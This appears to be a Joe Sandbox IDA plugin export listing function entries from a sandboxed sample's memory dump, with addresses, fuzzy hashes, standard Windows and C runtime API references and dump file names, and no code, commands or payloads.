Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 355303c78dec3f47244f4dc5245ceadef86a9d8fa7c6e7bf51e742599322564d
Instruction ID: ea0e842f25b732ac9b9b1c6654aa8a067e6c5a238c3f53623974a0994b1c81b5
Opcode Fuzzy Hash: 355303c78dec3f47244f4dc5245ceadef86a9d8fa7c6e7bf51e742599322564d
Instruction Fuzzy Hash: 19E01A32A04518BBCF136F61ED06A9E7A66EF44760F154011FD05661A18B318D21AB91

Function 00A877FF Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000780B,00A86B10), ref: 00A87804

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 977c037660e78f24fe73e8eb7b1a2478a9f859bd89f6ffba7b22a5fd44439165
Instruction ID: dd7fd632660ff60547dfbeaf681fcbe2e755559a60539dc6bb2254c377ff78e6
Opcode Fuzzy Hash: 977c037660e78f24fe73e8eb7b1a2478a9f859bd89f6ffba7b22a5fd44439165
Instruction Fuzzy Hash:

Function 00A81D65 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 00A81E87

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: 2716b1e4ff669567baa3d89e40848b046f02c49c3747aae2055123abae23cdf5
Instruction ID: 2ddc5b06361b2ddbf81a6c7c363f436d1951d892ae76eb6c3c7b9aae4c085dea
Opcode Fuzzy Hash: 2716b1e4ff669567baa3d89e40848b046f02c49c3747aae2055123abae23cdf5
Instruction Fuzzy Hash: 8C41F976E1052B5BDB0CFFB889461AFBBA9E746350B04427ADD11DB3D1E2308A028BD4

Function 00A9C99D Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00A9C99D

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 2735c3b3e786c0175242a0b2e229cff9d5c7a0684ea979f327bee1f433ac22a0
Instruction ID: e1940d3f23c080bd89dedbc66076eac088a763c796034bf8cf569b9471f9baf0
Opcode Fuzzy Hash: 2735c3b3e786c0175242a0b2e229cff9d5c7a0684ea979f327bee1f433ac22a0
Instruction Fuzzy Hash: DEA011303002028B8300CF3AAE0A3083AA8AA22A803008828A808C20A0EB3080208F22

Function 00AD8D2E Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 640bf8eae2d78ad77c4c4812c82337757702f6639c51110261f3c9d00c87b92d
Instruction ID: 78fdb22f92f29ccc8a8655b63fba1a09a8a97447bdab771fea7a662eb16c4a96
Opcode Fuzzy Hash: 640bf8eae2d78ad77c4c4812c82337757702f6639c51110261f3c9d00c87b92d
Instruction Fuzzy Hash: 8202B233D496B34B8B724FB908942277FA15E02B4031F879AEDD53F396C612ED0696E0

Function 00AD9D1B Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction ID: 42c4f8cb975f294ee4920ab29324b91268ddd11ac767f0bd27f18230ed54195f
Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction Fuzzy Hash: 0AC17F73D0A5B3498B76872D081C23BFE626E92B4531FC396DCD53F389C626AE0595D0

Function 00AD9933 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction ID: 5b378866ea53ffc709327232874ce0d8a03a481fc64159a5fe3fb684bd2aa1a1
Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction Fuzzy Hash: 69C17D73D1A5B3498B76462D085C23BFEA26E92B4531F8396DCE53F389C222ED0596D0

Function 00AD9561 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction ID: 01bdc17d2f9d2ea156331657ae006dd95f580c56fd68e434d732c43f85c129fd
Opcode Fuzzy Hash: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction Fuzzy Hash: 97C15D73D1A5B3098B76462D081C23FFE626E92B4531F83A6DCE53F389C626ED0596D0

Function 00A9B888 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 486334837bd7c5f1a8b5b4c77bdb0e3ab9b8c17b4dd7de2eab4db003d680f7c8
Instruction ID: fb55937478d0f6b6bbb5cc7fdad3d0b89b2db6a96c7e55a7df7403bcb88df64c
Opcode Fuzzy Hash: 486334837bd7c5f1a8b5b4c77bdb0e3ab9b8c17b4dd7de2eab4db003d680f7c8
Instruction Fuzzy Hash: A5B1E5357107029BDF38AF29DE92AB7B3E9EB54308F14452DEA43C6580EB75E945CB20

Function 00AD91C3 Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction ID: d2e47f945fc7a33766d2fb8dff1c801bb99b6460e2c30ddb832df5810ccfdf77
Opcode Fuzzy Hash: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction Fuzzy Hash: B0B16073D0E5B3058B76462D485823BFE626E92B4431BC3AADCE53F389C622ED0596D0

Function 00AC7705 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction ID: f7bf01a8f53c1d9bea8d7e7ca739a7c7eef3734a9f6c9192a716d62dc4d3319a
Opcode Fuzzy Hash: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction Fuzzy Hash: 8721EB216B4AE706CB848FF9FCC061267D1CBCD21B75FC279CE54C9066D06DE6228590

Function 00AAD38D Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: 174438f7a79ba3b2ddfbeecf4fcd16a31ec28216a3955b2ba4ab120d5e00ce62
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: 1AF08C32A04104EBCF21CF19D804AAAFBB8EB43364F253055E44AB7A40C330ED10EAA8

Function 00AAD01B Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e47e57290291bf3e55fc76926b40b9455446aaecab0376499f589c11769486e1
Instruction ID: ea3e4387b39ce806ce78312b7a9645757156f0a8d6b1af2c7d6898ca67931afe
Opcode Fuzzy Hash: e47e57290291bf3e55fc76926b40b9455446aaecab0376499f589c11769486e1
Instruction Fuzzy Hash: 77F03072900A19AFD714CFADD5415DFFBF8EB48320B10856ED4AAF3260D630FA458B51

Function 00AC458A Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction ID: d256f1c99479b207678580fcb63197705f640815169115519c5f26934de16b0c
Opcode Fuzzy Hash: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction Fuzzy Hash: 1AE06C78A61648EFC740CF48C185E49B3F8FB09768F118095E905DB321C378EE00EB50

Function 00AAD36A Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction ID: 6edc1f77bc014f77afb1dd4525fcd7db61d9a3eb149a076bd6fc7a55924a73f3
Opcode Fuzzy Hash: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction Fuzzy Hash: D9C08C72529208EFD70DCB84D613F5AB3FCE704758F10409CE00293780C67DAB00CA58

Function 00AAD382 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction ID: 5941d710df6caaa93d6ffa2de60dce8e613dec4f923ccdd24a2439a3e016513d
Opcode Fuzzy Hash: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction Fuzzy Hash: DAA002315569D48ECE53D7158260F207BB8A741A41F0504D1E491C6863C11CDA50D950

Function 00ACE556 Relevance: 54.3, APIs: 36, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

APIs

operator+.LIBCMT ref: 00ACE571

Part of subcall function 00ACB680: DName::DName.LIBCMT ref: 00ACB693
Part of subcall function 00ACB680: DName::operator+.LIBCMT ref: 00ACB69A

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: NameName::Name::operator+operator+
String ID:
API String ID: 2937105810-0
Opcode ID: 2d53c3902569e9784ef8fb12d3ca9c9f454977bad3efebfb259204c3ad6fcad2
Instruction ID: 7474daadfa2ac6836a98b8903165c08f7450e6e5ae8fb67aa1fe63f2b24deb23
Opcode Fuzzy Hash: 2d53c3902569e9784ef8fb12d3ca9c9f454977bad3efebfb259204c3ad6fcad2
Instruction Fuzzy Hash: 41D10B7191020DAFDB14DFA8C996FEEBBF8AF18304F15406DE501E7292EB349A45CB61

Function 00ACF29E Relevance: 27.3, APIs: 18, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getECSUDataType.LIBCMT ref: 00ACF43D
DName::operator=.LIBCMT ref: 00ACF4EB
DName::operator+=.LIBCMT ref: 00ACF516
DName::DName.LIBCMT ref: 00ACF57B
DName::operator+.LIBCMT ref: 00ACF582
DName::DName.LIBCMT ref: 00ACF5A5
DName::operator+.LIBCMT ref: 00ACF5AC
DName::operator+=.LIBCMT ref: 00ACF5B8
DName::operator=.LIBCMT ref: 00ACF5DF
DName::operator+=.LIBCMT ref: 00ACF5F1
UnDecorator::getPtrRefType.LIBCMT ref: 00ACF61A
operator+.LIBCMT ref: 00ACF62C

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Decorator::getNameName::Name::operator+Name::operator=Type$Dataoperator+
String ID:
API String ID: 1129569759-0
Opcode ID: 30b1e72d88142c82e2d5552c373b89b4dacb89b85ea205a481f88f5b85183262
Instruction ID: ad76d1abfb8e3f9934d3bdf8f453d704dc538f48fe32ef4621021376e9157a63
Opcode Fuzzy Hash: 30b1e72d88142c82e2d5552c373b89b4dacb89b85ea205a481f88f5b85183262
Instruction Fuzzy Hash: 0F91E271900249AECF28DF68CA86FBDB776AF14312F26817FE511D6292D7358A40CB54

Function 00AD4B14 Relevance: 24.1, APIs: 16, Instructions: 95COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00AD4B2D
__calloc_crt.LIBCMT ref: 00AD4B51
_free.LIBCMT ref: 00AD4B5F
__calloc_crt.LIBCMT ref: 00AD4B6D
_free.LIBCMT ref: 00AD4B7D
_free.LIBCMT ref: 00AD4B83
__copytlocinfo_nolock.LIBCMT ref: 00AD4B92
__setlocale_nolock.LIBCMT ref: 00AD4B9F
___removelocaleref.LIBCMT ref: 00AD4BAB
___freetlocinfo.LIBCMT ref: 00AD4BB2
_free.LIBCMT ref: 00AD4BB8
__setmbcp_nolock.LIBCMT ref: 00AD4BCA
_free.LIBCMT ref: 00AD4BD8
___removelocaleref.LIBCMT ref: 00AD4BDF
___freetlocinfo.LIBCMT ref: 00AD4BE6
_free.LIBCMT ref: 00AD4BEC

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref$__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 2193103758-0
Opcode ID: 784abcef5afcd593a1ca4234ae08e44cf487d9407e5e4ef41eebf28f0038ada9
Instruction ID: 7b78ffc64eaa70b27cb3f09ea313892e0f6609d9bdd245341c8693ac3de85735
Opcode Fuzzy Hash: 784abcef5afcd593a1ca4234ae08e44cf487d9407e5e4ef41eebf28f0038ada9
Instruction Fuzzy Hash: 1F21B535104601ABEB217F29D906F5BBBE4EFAA750F21842FF89A56362DE31DC00CB54

Function 00ACB942 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getArgumentList.LIBCMT ref: 00ACB967

Part of subcall function 00ACB502: Replicator::operator[].LIBCMT ref: 00ACB585
Part of subcall function 00ACB502: DName::operator+=.LIBCMT ref: 00ACB58D

DName::operator+.LIBCMT ref: 00ACB9C0
DName::DName.LIBCMT ref: 00ACBA18

Strings

8;C, xrefs: 00ACB9B3
4;C, xrefs: 00ACB9FB
D;C, xrefs: 00ACB9AC
(;C, xrefs: 00ACBA02

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

